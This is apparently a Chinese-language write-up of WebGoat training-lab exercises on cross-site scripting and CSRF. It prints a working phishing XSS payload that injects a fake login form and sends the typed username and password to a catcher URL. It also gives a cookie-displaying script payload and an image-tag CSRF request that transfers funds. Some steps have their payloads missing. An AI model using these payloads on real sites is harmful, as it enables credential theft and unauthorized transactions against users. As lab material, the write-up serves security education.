WebGoat系列實驗Cross-Site Scripting (XSS)
PhishingTitle
- 本次實驗是在一個已知存在XSS漏洞的頁面進行釣魚攻擊。經過使用XSS與HTML注入,在頁面中注入身份認證html代碼,添加javascript腳本收集身份認證信息,併發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
- 輸入如下javascript代碼。(以前這個位置提交的javascript代碼沒有顯示出來,原來是由於源代碼被過濾掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
- 在僞造的輸入框中輸入用戶名與密碼,點擊login按鈕,用戶的登陸認證信息就被髮送到構造的頁面中了。
LAB: Cross Site Scripting
Stage 1:Stored XSS
- 做爲Tom,在我的簡介編輯頁執行存儲型XSS攻擊,驗證Jerry會受到攻擊影響。
- 使用Tom登陸,修改Tom的我的簡介編輯頁的街道一欄,在其後添加,更新我的信息。
- 使用Jerry登陸,選擇Tom的我的信息進行查看,彈窗代表存儲型XSS攻擊成功。
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOATjavascript
Stage3:Stored XSS Revisited
驗證Bruce的我的簡介中包含有XSS攻擊,使用David用戶登陸,查看Bruce的我的簡介,出現彈窗,代表存在XSS攻擊。html
Stage4:Block Stored XSS using Output Encoding
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOATjava
Stage5:Reflected XSS
- 利用查找職工頁面的缺陷製做一個包含有反射型XSS的URL,驗證其餘使用這個連接的用戶也會受到攻擊影響。
- 使用用戶Larry登陸,在Search Staff搜索框中輸入。
Stage6:Block Reflected XSS
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOATgit
Stored XSS Attacks
- 清除全部的輸入是一個很好的選擇,尤爲是清除那些將被用做參數使用的輸入。對於在應用程序中永久存儲的內容特別重要。當用戶的消息被檢索時,不能出現不指望的消息內容。
- 在輸入的內容中添加javascript代碼,點擊Submit按鈕。
- 點擊生成的文章連接,會顯示一個彈窗,代表頁面存在存儲型XSS。
Reflected XSS Attacks
- 在服務器端驗證全部輸入是一個很好的選擇。未驗證的用戶輸入可能會在HTTP響應中出現XSS。攻擊者能夠建立一個URL,經過讓受害者點擊的方式進行XSS攻擊。
- 在digit access code框中添加
<script>alert(document.cookie);</script>
,點擊Purchase按鈕完成。web
Cross Site Request Forgery (CSRF)
- 實驗須要向新聞組發送一封email。在email中包含一張圖片,圖片的URL指向一個惡意請求。實驗中,URL應指向attack servlet,參數有Screen與menu,還有一個額外的參數transferFunds帶有任意數值。收件人恰好進行身份認證,正在轉移資金。
- 構造一封郵件,在Message後添加一張圖片,根據Screen與menu值構造URL,圖片的javascript代碼爲
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>
。服務器
- 當收件人打開這封email時,因爲自身身份已經認證,所以帳戶被轉移了5000。
CSRF Prompt By-Pass
- 實驗須要向新聞組發送email包含如下惡意請求,首先轉帳,而後請求提示確認。
- 在email的正文中輸入以下javascript代碼。
CSRF Token By-Pass